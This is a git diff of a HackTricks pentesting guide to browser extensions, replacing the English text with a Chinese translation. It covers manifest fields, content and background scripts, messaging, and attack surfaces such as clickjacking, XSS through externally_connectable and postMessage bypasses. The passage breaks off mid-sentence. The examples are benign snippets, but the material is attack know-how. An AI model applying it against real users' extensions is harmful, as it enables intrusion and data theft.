diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md index 998ebd4e2..db50a5ccc 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -1,280 +1,260 @@ -# Browser Extension Pentesting Methodology +# 浏览器扩展渗透测试方法论 {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -Browser extensions are written in JavaScript and loaded by the browser in the background. It has its [DOM](https://www.w3schools.com/js/js_htmldom.asp) but can interact with other sites' DOMs. This means that it may compromise other sites' confidentiality, integrity, and availability (CIA). +浏览器扩展是用 JavaScript 编写的，并在后台由浏览器加载。它有自己的 [DOM](https://www.w3schools.com/js/js_htmldom.asp)，但可以与其他网站的 DOM 进行交互。这意味着它可能会危害其他网站的机密性、完整性和可用性（CIA）。 -## Main Components +## 主要组件 -Extension layouts look best when visualised and consists of three components. Let’s look at each component in depth. +扩展布局在可视化时效果最佳，由三个组件组成。让我们深入了解每个组件。

http://webblaze.cs.berkeley.edu/papers/Extensions.pdf

-### **Content Scripts** +### **内容脚本** -Each content script has direct access to the DOM of a **single web page** and is thereby exposed to **potentially malicious input**. However, the content script contains no permissions other than the ability to send messages to the extension core. +每个内容脚本可以直接访问 **单个网页** 的 DOM，因此暴露于 **潜在的恶意输入**。然而，内容脚本除了能够向扩展核心发送消息外，没有其他权限。 -### **Extension Core** +### **扩展核心** -The extension core contains most of the extension privileges/access, but the extension core can only interact with web content via [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) and content scripts. Also, the extension core does not have direct access to the host machine. +扩展核心包含大部分扩展权限/访问，但扩展核心只能通过 [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) 和内容脚本与网页内容进行交互。此外，扩展核心无法直接访问主机机器。 -### **Native Binary** +### **本地二进制** -The extension allows a native binary that can **access the host machine with the user’s full privileges.** The native binary interacts with the extension core through the standard Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) used by Flash and other browser plug-ins. +扩展允许一个本地二进制文件，可以 **以用户的全部权限访问主机机器。** 本地二进制通过 Flash 和其他浏览器插件使用的标准 Netscape 插件应用程序编程接口 ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) 与扩展核心进行交互。 -### Boundaries +### 边界 > [!CAUTION] -> To obtain the user's full privileges, an attacker must convince the extension to pass malicious input from the content script to the extension's core and from the extension's core to the native binary. +> 为了获得用户的全部权限，攻击者必须说服扩展将恶意输入从内容脚本传递到扩展核心，并从扩展核心传递到本地二进制。 -Each component of the extension is separated from each other by **strong protective boundaries**. Each component runs in a **separate operating system process**. Content scripts and extension cores run in **sandbox processes** unavailable to most operating system services. +扩展的每个组件之间由 **强保护边界** 隔离。每个组件在 **单独的操作系统进程** 中运行。内容脚本和扩展核心在 **沙箱进程** 中运行，这些进程对大多数操作系统服务不可用。 -Moreover, content scripts separate from their associated web pages by **running in a separate JavaScript heap**. The content script and web page have **access to the same underlying DOM**, but the two **never exchange JavaScript pointers**, preventing the leaking of JavaScript functionality. +此外，内容脚本通过 **在单独的 JavaScript 堆中运行** 与其关联的网页分离。内容脚本和网页有 **访问相同的底层 DOM** 的权限，但两者 **从不交换 JavaScript 指针**，防止 JavaScript 功能的泄露。 ## **`manifest.json`** -A Chrome extension is just a ZIP folder with a [.crx file extension](https://www.lifewire.com/crx-file-2620391). The extension's core is the **`manifest.json`** file at the root of the folder, which specifies layout, permissions, and other configuration options. - -Example: +Chrome 扩展只是一个带有 [.crx 文件扩展名](https://www.lifewire.com/crx-file-2620391) 的 ZIP 文件夹。扩展的核心是位于文件夹根目录的 **`manifest.json`** 文件，该文件指定布局、权限和其他配置选项。 +示例： ```json { - "manifest_version": 2, - "name": "My extension", - "version": "1.0", - "permissions": ["storage"], - "content_scripts": [ - { - "js": ["script.js"], - "matches": ["https://example.com/*", "https://www.example.com/*"], - "exclude_matches": ["*://*/*business*"] - } - ], - "background": { - "scripts": ["background.js"] - }, - "options_ui": { - "page": "options.html" - } +"manifest_version": 2, +"name": "My extension", +"version": "1.0", +"permissions": ["storage"], +"content_scripts": [ +{ +"js": ["script.js"], +"matches": ["https://example.com/*", "https://www.example.com/*"], +"exclude_matches": ["*://*/*business*"] +} +], +"background": { +"scripts": ["background.js"] +}, +"options_ui": { +"page": "options.html" +} } ``` - ### `content_scripts` -Content scripts are **loaded** whenever the user **navigates to a matching page**, in our case any page matching the **`https://example.com/*`** expression and not matching the **`*://*/*/business*`** regex. They execute **like the page’s own scripts** and have arbitrary access to the page’s [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model). - +内容脚本在用户**导航到匹配页面**时**加载**，在我们的例子中，任何匹配**`https://example.com/*`**表达式且不匹配**`*://*/*/business*`**正则表达式的页面。它们**像页面自己的脚本**一样执行，并且可以任意访问页面的[文档对象模型 (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model)。 ```json "content_scripts": [ - { - "js": [ - "script.js" - ], - "matches": [ - "https://example.com/*", - "https://www.example.com/*" - ], - "exclude_matches": ["*://*/*business*"], - } - ], +{ +"js": [ +"script.js" +], +"matches": [ +"https://example.com/*", +"https://www.example.com/*" +], +"exclude_matches": ["*://*/*business*"], +} +], ``` +为了包含或排除更多的 URL，还可以使用 **`include_globs`** 和 **`exclude_globs`**。 -In order to include or exclude more URLs it's also possible to use **`include_globs`** and **`exclude_globs`**. - -This is an example content script which will add an explain button to the page when [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) to retrieve the `message` value from extension’s storage. - +这是一个示例内容脚本，当使用 [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) 从扩展的存储中检索 `message` 值时，将向页面添加一个解释按钮。 ```js chrome.storage.local.get("message", (result) => { - let div = document.createElement("div") - div.innerHTML = result.message + " " - div.querySelector("button").addEventListener("click", () => { - chrome.runtime.sendMessage("explain") - }) - document.body.appendChild(div) +let div = document.createElement("div") +div.innerHTML = result.message + " " +div.querySelector("button").addEventListener("click", () => { +chrome.runtime.sendMessage("explain") +}) +document.body.appendChild(div) }) ``` -
-A message is sent to the extension pages by the content script when this button is clicked, through the utilization of the [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). This is due to the content script's limitation in direct access to APIs, with `storage` being among the few exceptions. For functionalities beyond these exceptions, messages are sent to extension pages which content scripts can communicate with. +当点击此按钮时，通过使用 [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)，内容脚本向扩展页面发送消息。这是由于内容脚本在直接访问API方面的限制，`storage`是少数例外之一。对于超出这些例外的功能，消息被发送到扩展页面，内容脚本可以与之通信。 > [!WARNING] -> Depending on the browser, the capabilities of the content script may vary slightly. For Chromium-based browsers, the capabilities list is available in the [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), and for Firefox, the [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) serves as the primary source.\ -> It is also noteworthy that content scripts have the ability to communicate with background scripts, enabling them to perform actions and relay responses back. +> 根据浏览器的不同，内容脚本的能力可能会略有不同。对于基于Chromium的浏览器，能力列表可在 [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities) 中找到，而对于Firefox，[MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) 是主要来源。\ +> 还值得注意的是，内容脚本能够与后台脚本进行通信，使其能够执行操作并传递响应。 -For viewing and debugging content scripts in Chrome, the Chrome developer tools menu can be accessed from Options > More tools > Developer tools OR by pressing Ctrl + Shift + I. +要在Chrome中查看和调试内容脚本，可以通过选项 > 更多工具 > 开发者工具访问Chrome开发者工具菜单，或按Ctrl + Shift + I。 -Upon the developer tools being displayed, the **Source tab** is to be clicked, followed by the **Content Scripts** tab. This allows for the observation of running content scripts from various extensions and the setting of breakpoints to track the execution flow. +当开发者工具显示后，点击**源**选项卡，然后点击**内容脚本**选项卡。这允许观察来自各种扩展的运行内容脚本，并设置断点以跟踪执行流程。 -### Injected content scripts +### 注入的内容脚本 > [!TIP] -> Note that **Content Scripts aren't mandatory** as it's also possible to **dynamically** **inject** scripts and to **programatically inject them** in web pages via **`tabs.executeScript`**. This actually provides more **granular controls**. +> 请注意，**内容脚本不是强制性的**，因为也可以通过**`tabs.executeScript`** **动态** **注入**脚本并在网页中**以编程方式注入**。这实际上提供了更**细粒度的控制**。 -For the programmatic injection of a content script, the extension is required to have [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) for the page into which the scripts are to be injected. These permissions may be secured either by **requesting them** within the manifest of the extension or on a temporary basis through [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab). - -#### Example activeTab-based extension +要以编程方式注入内容脚本，扩展需要对要注入脚本的页面具有[主机权限](https://developer.chrome.com/docs/extensions/reference/permissions)。这些权限可以通过在扩展的清单中**请求**它们或通过[**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)临时获取。 +#### 示例基于activeTab的扩展 ```json:manifest.json { - "name": "My extension", - ... - "permissions": [ - "activeTab", - "scripting" - ], - "background": { - "service_worker": "background.js" - }, - "action": { - "default_title": "Action Button" - } +"name": "My extension", +... +"permissions": [ +"activeTab", +"scripting" +], +"background": { +"service_worker": "background.js" +}, +"action": { +"default_title": "Action Button" +} } ``` - -- **Inject a JS file on click:** - +- **点击时注入 JS 文件：** ```javascript // content-script.js document.body.style.backgroundColor = "orange" //service-worker.js - Inject the JS file chrome.action.onClicked.addListener((tab) => { - chrome.scripting.executeScript({ - target: { tabId: tab.id }, - files: ["content-script.js"], - }) +chrome.scripting.executeScript({ +target: { tabId: tab.id }, +files: ["content-script.js"], +}) }) ``` - -- **Inject a function** on click: - +- **在点击时注入一个函数**: ```javascript //service-worker.js - Inject a function function injectedFunction() { - document.body.style.backgroundColor = "orange" +document.body.style.backgroundColor = "orange" } chrome.action.onClicked.addListener((tab) => { - chrome.scripting.executeScript({ - target: { tabId: tab.id }, - func: injectedFunction, - }) +chrome.scripting.executeScript({ +target: { tabId: tab.id }, +func: injectedFunction, +}) }) ``` - -#### Example with scripting permissions - +#### 示例与脚本权限 ```javascript // service-workser.js chrome.scripting.registerContentScripts([ - { - id: "test", - matches: ["https://*.example.com/*"], - excludeMatches: ["*://*/*business*"], - js: ["contentScript.js"], - }, +{ +id: "test", +matches: ["https://*.example.com/*"], +excludeMatches: ["*://*/*business*"], +js: ["contentScript.js"], +}, ]) // Another example chrome.tabs.executeScript(tabId, { file: "content_script.js" }) ``` +为了包含或排除更多的 URL，还可以使用 **`include_globs`** 和 **`exclude_globs`**。 -In order to include or exclude more URLs it's also possible to use **`include_globs`** and **`exclude_globs`**. +### 内容脚本 `run_at` -### Content Scripts `run_at` +`run_at` 字段控制 **JavaScript 文件何时注入到网页中**。首选和默认值是 `"document_idle"`。 -The `run_at` field controls **when JavaScript files are injected into the web page**. The preferred and default value is `"document_idle"`. +可能的值有： -The possible values are: - -- **`document_idle`**: Whenever possible -- **`document_start`**: After any files from `css`, but before any other DOM is constructed or any other script is run. -- **`document_end`**: Immediately after the DOM is complete, but before subresources like images and frames have loaded. - -#### Via `manifest.json` +- **`document_idle`**：尽可能地 +- **`document_start`**：在任何 `css` 文件之后，但在构建任何其他 DOM 或运行任何其他脚本之前。 +- **`document_end`**：在 DOM 完成后立即，但在子资源（如图像和框架）加载之前。 +#### 通过 `manifest.json` ```json { - "name": "My extension", - ... - "content_scripts": [ - { - "matches": ["https://*.example.com/*"], - "run_at": "document_idle", - "js": ["contentScript.js"] - } - ], - ... +"name": "My extension", +... +"content_scripts": [ +{ +"matches": ["https://*.example.com/*"], +"run_at": "document_idle", +"js": ["contentScript.js"] +} +], +... } ``` - -Via **`service-worker.js`** - +通过 **`service-worker.js`** ```javascript chrome.scripting.registerContentScripts([ - { - id: "test", - matches: ["https://*.example.com/*"], - runAt: "document_idle", - js: ["contentScript.js"], - }, +{ +id: "test", +matches: ["https://*.example.com/*"], +runAt: "document_idle", +js: ["contentScript.js"], +}, ]) ``` - ### `background` -Messages sent by content scripts are received by the **background page**, which serves a central role in coordinating the extension's components. Notably, the background page persists across the extension's lifetime, operating discreetly without direct user interaction. It possesses its own Document Object Model (DOM), enabling complex interactions and state management. +由内容脚本发送的消息由**背景页面**接收，该页面在协调扩展的组件中发挥着核心作用。值得注意的是，背景页面在扩展的整个生命周期中持续存在，默默运行而无需直接用户交互。它拥有自己的文档对象模型（DOM），能够实现复杂的交互和状态管理。 -**Key Points**: +**关键点**： -- **Background Page Role:** Acts as the nerve center for the extension, ensuring communication and coordination among various parts of the extension. -- **Persistence:** It's an ever-present entity, invisible to the user but integral to the extension's functionality. -- **Automatic Generation:** If not explicitly defined, the browser will automatically create a background page. This auto-generated page will include all the background scripts specified in the extension's manifest, ensuring the seamless operation of the extension's background tasks. +- **背景页面角色：** 作为扩展的神经中枢，确保扩展各部分之间的通信和协调。 +- **持久性：** 它是一个始终存在的实体，对用户不可见，但对扩展的功能至关重要。 +- **自动生成：** 如果未明确定义，浏览器将自动创建一个背景页面。这个自动生成的页面将包含扩展清单中指定的所有背景脚本，确保扩展的后台任务无缝运行。 > [!TIP] -> The convenience provided by the browser in automatically generating a background page (when not explicitly declared) ensures that all necessary background scripts are integrated and operational, streamlining the extension's setup process. - -Example background script: +> 浏览器在自动生成背景页面（未明确声明时）所提供的便利，确保所有必要的背景脚本都被集成并正常运行，从而简化了扩展的设置过程。 +示例背景脚本： ```js chrome.runtime.onMessage.addListener((request, sender, sendResponse) => { - if (request == "explain") { - chrome.tabs.create({ url: "https://example.net/explanation" }) - } +if (request == "explain") { +chrome.tabs.create({ url: "https://example.net/explanation" }) +} }) ``` +它使用 [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) 来监听消息。当接收到 `"explain"` 消息时，它使用 [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) 在新标签页中打开一个页面。 -It uses [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) to listen to messages. When an `"explain"` message is received, it uses [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) to open a page in a new tab. - -To debug the background script you could go to the **extension details and inspect the service worker,** this will open the developer tools with the background script: +要调试后台脚本，您可以进入 **扩展详细信息并检查服务工作者，** 这将打开带有后台脚本的开发者工具：
-### Options pages and other +### 选项页面和其他 -Browser extensions can contain various kinds of pages: +浏览器扩展可以包含各种类型的页面： -- **Action pages** are displayed in a **drop-down when the extension ico**n is clicked. -- Pages that the extension will **load in a new tab**. -- **Option Pages**: This page displays on top of the extension when clicked. In the previous manifest In my case I was able to access this page in `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` or clicking: +- **操作页面** 在点击扩展图标时显示在 **下拉菜单中**。 +- 扩展将 **在新标签页中加载的页面**。 +- **选项页面**：此页面在点击时显示在扩展顶部。在之前的清单中，我能够通过 `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` 访问此页面，或点击：
-Note that these pages aren't persistent like background pages as they load dynamically content on necessity. Despite this, they share certain capabilities with the background page: +请注意，这些页面不像后台页面那样持久，因为它们根据需要动态加载内容。尽管如此，它们与后台页面共享某些功能： -- **Communication with Content Scripts:** Similar to the background page, these pages can receive messages from content scripts, facilitating interaction within the extension. -- **Access to Extension-Specific APIs:** These pages enjoy comprehensive access to extension-specific APIs, subject to the permissions defined for the extension. +- **与内容脚本的通信：** 类似于后台页面，这些页面可以接收来自内容脚本的消息，促进扩展内的交互。 +- **访问扩展特定的 API：** 这些页面享有对扩展特定 API 的全面访问，受扩展定义的权限限制。 ### `permissions` & `host_permissions` -**`permissions`** and **`host_permissions`** are entries from the `manifest.json` that will indicate **which permissions** the browser extensions has (storage, location...) and in **which web pages**. +**`permissions`** 和 **`host_permissions`** 是 `manifest.json` 中的条目，指示 **浏览器扩展具有哪些权限**（存储、位置等）以及 **在哪些网页上**。 -As browser extensions can be so **privileged**, a malicious one or one being compromised could allow the attacker **different means to steal sensitive information and spy on the user**. +由于浏览器扩展可能具有 **特权**，恶意扩展或被攻击的扩展可能允许攻击者 **以不同方式窃取敏感信息并监视用户**。 -Check how these settings work and how they could get abused in: +检查这些设置如何工作以及它们如何被滥用： {{#ref}} browext-permissions-and-host_permissions.md @@ -282,15 +262,13 @@ browext-permissions-and-host_permissions.md ### `content_security_policy` -A **content security policy** can be declared also inside the `manifest.json`. If there is one defined, it could be **vulnerable**. - -The default setting for browser extension pages is rather restrictive: +**内容安全策略** 也可以在 `manifest.json` 中声明。如果定义了内容安全策略，它可能是 **脆弱的**。 +浏览器扩展页面的默认设置相当严格： ```bash script-src 'self'; object-src 'self'; ``` - -For more info about CSP and potential bypasses check: +有关CSP和潜在绕过的更多信息，请查看： {{#ref}} ../content-security-policy-csp-bypass/ @@ -298,203 +276,189 @@ For more info about CSP and potential bypasses check: ### `web_accessible_resources` -in order for a webpage to access a page of a Browser Extension, a `.html` page for example, this page needs to be mentioned in the **`web_accessible_resources`** field of the `manifest.json`.\ -For example: - +为了让网页访问浏览器扩展的页面，例如一个`.html`页面，该页面需要在`manifest.json`的**`web_accessible_resources`**字段中提及。\ +例如： ```javascript { - ... - "web_accessible_resources": [ - { - "resources": [ "images/*.png" ], - "matches": [ "https://example.com/*" ] - }, - { - "resources": [ "fonts/*.woff" ], - "matches": [ "https://example.com/*" ] - } - ], - ... +... +"web_accessible_resources": [ +{ +"resources": [ "images/*.png" ], +"matches": [ "https://example.com/*" ] +}, +{ +"resources": [ "fonts/*.woff" ], +"matches": [ "https://example.com/*" ] +} +], +... } ``` - -These pages are accesible in URL like: - +这些页面可以通过以下 URL 访问： ``` chrome-extension:///message.html ``` - -In public extensions the **extension-id is accesible**: +在公共扩展中，**extension-id 是可访问的**：
-Although, if the `manifest.json` parameter **`use_dynamic_url`** is used, this **id can be dynamic**. +不过，如果使用了 `manifest.json` 参数 **`use_dynamic_url`**，则该 **id 可能是动态的**。 > [!TIP] -> Note that even if a page is mentioned here, it might be **protected against ClickJacking** thanks to the **Content Security Policy**. So you also need to check it (frame-ancestors section) before confirming a ClickJacking attack is possible. +> 请注意，即使此处提到某个页面，它也可能由于 **Content Security Policy** 而 **受到 ClickJacking 保护**。因此，在确认 ClickJacking 攻击是否可能之前，您还需要检查它（frame-ancestors 部分）。 -Being allowed to access these pages make these pages **potentially vulnerable ClickJacking**: +允许访问这些页面使这些页面 **可能容易受到 ClickJacking 攻击**： {{#ref}} browext-clickjacking.md {{#endref}} > [!TIP] -> Allowing these pages to be loaded only by the extension and not by random URLs could prevent ClickJacking attacks. +> 仅允许这些页面由扩展加载，而不是由随机 URL 加载，可以防止 ClickJacking 攻击。 > [!CAUTION] -> Note that the pages from **`web_accessible_resources`** and other pages of the extension are also capable of **contacting background scripts**. So if one of these pages is vulnerable to **XSS** it could open a bigger vulnerability. +> 请注意，**`web_accessible_resources`** 中的页面和扩展的其他页面也能够 **联系后台脚本**。因此，如果这些页面中的一个容易受到 **XSS** 攻击，可能会导致更大的漏洞。 > -> Moreover, note that you can only open pages indicated in **`web_accessible_resources`** inside iframes, but from a new tab it's possible to access any page in the extension knowing the extension ID. Therefore, if an XSS is found abusing same parameters, it could be abused even if the page isn't configured in **`web_accessible_resources`**. +> 此外，请注意，您只能在 iframe 中打开 **`web_accessible_resources`** 中指示的页面，但从新标签页可以访问扩展中的任何页面，只需知道扩展 ID。因此，如果发现 XSS 利用相同参数，即使页面未在 **`web_accessible_resources`** 中配置，也可能被利用。 ### `externally_connectable` -A per the [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), The `"externally_connectable"` manifest property declares **which extensions and web pages can connect** to your extension via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) and [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage). - -- If the **`externally_connectable`** key is **not** declared in your extension's manifest or it's declared as **`"ids": ["*"]`**, **all extensions can connect, but no web pages can connect**. -- If **specific IDs are specified**, like in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **only those applications** can connect. -- If **matches** are specified, those web apps will be able to connect: +根据 [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)，`"externally_connectable"` 清单属性声明 **哪些扩展和网页可以通过** [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) 和 [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) 连接到您的扩展。 +- 如果在扩展的清单中 **未** 声明 **`externally_connectable`** 键，或者声明为 **`"ids": ["*"]`**，则 **所有扩展都可以连接，但没有网页可以连接**。 +- 如果指定了 **特定 ID**，如 `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`，则 **只有这些应用程序** 可以连接。 +- 如果指定了 **matches**，则这些网页应用程序将能够连接： ```json "matches": [ -      "https://*.google.com/*", -      "*://*.chromium.org/*", +"https://*.google.com/*", +"*://*.chromium.org/*", ``` +- 如果指定为空：**`"externally_connectable": {}`**，则没有应用程序或网页能够连接。 -- If it's specified as empty: **`"externally_connectable": {}`**, no app or web will be able to connect. - -The **less extensions and URLs** indicated here, the **smaller the attack surface** will be. +这里指示的**扩展和 URL**越少，**攻击面**就会越小。 > [!CAUTION] -> If a web page **vulnerable to XSS or takeover** is indicated in **`externally_connectable`**, an attacker will be able to **send messages directly to the background script**, completely bypassing the Content Script and its CSP. +> 如果网页在**`externally_connectable`**中被指示为**易受 XSS 或接管攻击**，攻击者将能够**直接向后台脚本发送消息**，完全绕过内容脚本及其 CSP。 > -> Therefore, this is a **very powerful bypass**. +> 因此，这是一个**非常强大的绕过**。 > -> Moreover, if the client installs a rouge extension, even if it isn't allowed to communicate with the vulnerable extension, it could inject **XSS data in an allowed web page** or abuse **`WebRequest`** or **`DeclarativeNetRequest`** APIs to manipulate requests on a targeted domain altering a page's request for a **JavaScript file**. (Note that CSP on the targeted page could prevent these attacks). This idea comes [**from this writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability). +> 此外，如果客户端安装了一个恶意扩展，即使它不被允许与易受攻击的扩展通信，它也可能在一个允许的网页中注入**XSS 数据**，或滥用**`WebRequest`**或**`DeclarativeNetRequest`** API 来操纵目标域上的请求，改变页面对**JavaScript 文件**的请求。（请注意，目标页面上的 CSP 可能会阻止这些攻击）。这个想法来自[**这篇文章**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)。 -## Communication summary +## 通信总结 -### Extension <--> WebApp +### 扩展 <--> WebApp -To communicate between the content script and the web page post messages are usually used. Therefore, in the web application you will usually find calls to the function **`window.postMessage`** and in the content script listeners like **`window.addEventListener`**. Note however, that the extension could also **communicate with the web application sending a Post Message** (and therefore the web should expect it) or just make the web load a new script. +在内容脚本和网页之间，通常使用后续消息进行通信。因此，在网页应用程序中，您通常会找到对函数**`window.postMessage`**的调用，而在内容脚本中则有像**`window.addEventListener`**这样的监听器。然而，请注意，扩展也可以**通过发送 Post Message 与网页应用程序通信**（因此网页应该预期此情况），或者仅使网页加载一个新脚本。 -### Inside the extension +### 在扩展内部 -Usually the function **`chrome.runtime.sendMessage`** is used to send a message inside the extension (usually handled by the `background` script) and in order to receive and handle it a listener is declared calling **`chrome.runtime.onMessage.addListener`**. +通常使用函数**`chrome.runtime.sendMessage`**在扩展内部发送消息（通常由`background`脚本处理），为了接收和处理它，声明一个监听器调用**`chrome.runtime.onMessage.addListener`**。 -It's also possible to use **`chrome.runtime.connect()`** to have a persistent connection instead of sending single messages, it's possible to use it to **send** and **receive** **messages** like in the following example: +也可以使用**`chrome.runtime.connect()`**来建立持久连接，而不是发送单个消息，可以用它来**发送**和**接收****消息**，如下例所示：
-chrome.runtime.connect() example - +chrome.runtime.connect() 示例 ```javascript var port = chrome.runtime.connect() // Listen for messages from the web page window.addEventListener( - "message", - (event) => { - // Only accept messages from the same window - if (event.source !== window) { - return - } +"message", +(event) => { +// Only accept messages from the same window +if (event.source !== window) { +return +} - // Check if the message type is "FROM_PAGE" - if (event.data.type && event.data.type === "FROM_PAGE") { - console.log("Content script received: " + event.data.text) - // Forward the message to the background script - port.postMessage({ type: "FROM_PAGE", text: event.data.text }) - } - }, - false +// Check if the message type is "FROM_PAGE" +if (event.data.type && event.data.type === "FROM_PAGE") { +console.log("Content script received: " + event.data.text) +// Forward the message to the background script +port.postMessage({ type: "FROM_PAGE", text: event.data.text }) +} +}, +false ) // Listen for messages from the background script port.onMessage.addListener(function (msg) { - console.log("Content script received message from background script:", msg) - // Handle the response message from the background script +console.log("Content script received message from background script:", msg) +// Handle the response message from the background script }) ``` -
-It's also possible to send messages from a background script to a content script located in a specific tab calling **`chrome.tabs.sendMessage`** where you will need to indicated the **ID of the tab** to send the message to. +也可以从后台脚本向位于特定标签页中的内容脚本发送消息，调用 **`chrome.tabs.sendMessage`**，在此需要指明要发送消息的 **标签页 ID**。 -### From allowed `externally_connectable` to the extension - -**Web apps and external browser extensions allowed** in the `externally_connectable` configuration can send requests using : +### 从允许的 `externally_connectable` 到扩展 +**在 `externally_connectable` 配置中允许的 Web 应用和外部浏览器扩展** 可以使用以下方式发送请求： ```javascript chrome.runtime.sendMessage(extensionId, ... ``` +在需要提及**扩展 ID**的地方。 -Where it's needed to mention the **extension ID**. - -### Native Messaging - -It's possible for the background scripts to communicate with binaries inside the system, which might be **prone to critical vulnerabilities such as RCEs** if this communication is not properly secured. [More on this later](./#native-messaging). +### 本地消息传递 +后台脚本可以与系统内的二进制文件进行通信，如果这种通信没有得到妥善保护，可能会**容易受到诸如 RCE 等关键漏洞的影响**。[稍后会详细介绍](./#native-messaging)。 ```javascript chrome.runtime.sendNativeMessage( - "com.my_company.my_application", - { text: "Hello" }, - function (response) { - console.log("Received " + response) - } +"com.my_company.my_application", +{ text: "Hello" }, +function (response) { +console.log("Received " + response) +} ) ``` +## Web **↔︎** 内容脚本通信 -## Web **↔︎** Content Script Communication - -The environments where **content scripts** operate and where the host pages exist are **separated** from one another, ensuring **isolation**. Despite this isolation, both have the ability to interact with the page's **Document Object Model (DOM)**, a shared resource. For the host page to engage in communication with the **content script**, or indirectly with the extension through the content script, it is required to utilize the **DOM** that is accessible by both parties as the communication channel. - -### Post Messages +**内容脚本**操作的环境与主页面存在的环境是**分开的**，确保了**隔离**。尽管存在这种隔离，双方都能够与页面的**文档对象模型 (DOM)** 进行交互，这是一个共享资源。为了使主页面能够与**内容脚本**进行通信，或通过内容脚本间接与扩展进行通信，必须利用双方都可以访问的**DOM**作为通信通道。 +### 后续消息 ```javascript:content-script.js // This is like "chrome.runtime.sendMessage" but to maintain the connection var port = chrome.runtime.connect() window.addEventListener( - "message", - (event) => { - // We only accept messages from ourselves - if (event.source !== window) { - return - } +"message", +(event) => { +// We only accept messages from ourselves +if (event.source !== window) { +return +} - if (event.data.type && event.data.type === "FROM_PAGE") { - console.log("Content script received: " + event.data.text) - // Forward the message to the background script - port.postMessage(event.data.text) - } - }, - false +if (event.data.type && event.data.type === "FROM_PAGE") { +console.log("Content script received: " + event.data.text) +// Forward the message to the background script +port.postMessage(event.data.text) +} +}, +false ) ``` ```javascript:example.js document.getElementById("theButton").addEventListener( - "click", - () => { - window.postMessage( - { type: "FROM_PAGE", text: "Hello from the webpage!" }, - "*" - ) - }, - false +"click", +() => { +window.postMessage( +{ type: "FROM_PAGE", text: "Hello from the webpage!" }, +"*" +) +}, +false ) ``` +安全的 Post Message 通信应检查接收到的消息的真实性，这可以通过以下方式进行检查： -A secure Post Message communication should check the authenticity of the received message, this can be done checking: +- **`event.isTrusted`**：仅当事件是由用户操作触发时，此值为 True +- 内容脚本可能仅在用户执行某些操作时才会期待消息 +- **origin domain**：可能仅允许白名单中的域名发送消息。 +- 如果使用正则表达式，请非常小心 +- **Source**：`received_message.source !== window` 可用于检查消息是否来自 **同一窗口**，即内容脚本正在监听的窗口。 -- **`event.isTrusted`**: This is True only if the event was triggered by a users action - - The content script might expecting a message only if the user performs some action -- **origin domain**: might expecting a message only allowlist of domains. - - If a regex is used, be very careful -- **Source**: `received_message.source !== window` can be used to check if the message was **from the same window** where the Content Script is listening. - -The previous checks, even if performed, could be vulnerable, so check in the following page **potential Post Message bypasses**: +即使执行了上述检查，仍可能存在漏洞，因此请检查以下页面 **潜在的 Post Message 绕过**： {{#ref}} ../postmessage-vulnerabilities/ @@ -502,7 +466,7 @@ The previous checks, even if performed, could be vulnerable, so check in the fol ### Iframe -Another possible way of communication might be through **Iframe URLs**, you can find an example in: +另一种可能的通信方式可能是通过 **Iframe URLs**，您可以在以下位置找到示例： {{#ref}} browext-xss-example.md @@ -510,240 +474,226 @@ browext-xss-example.md ### DOM -This isn't "exactly" a communication way, but the **web and the content script will have access to the web DOM**. So, if the **content script** is reading some information from it, **trusting the web DOM**, the web could **modify this dat**a (because the web shouldn't be trusted, or because the web is vulnerable to XSS) and **compromise the Content Script**. +这并不是“确切的”通信方式，但 **网页和内容脚本将可以访问网页 DOM**。因此，如果 **内容脚本** 从中读取某些信息，**信任网页 DOM**，网页可能会 **修改这些数据**（因为网页不应被信任，或者因为网页易受 XSS 攻击）并 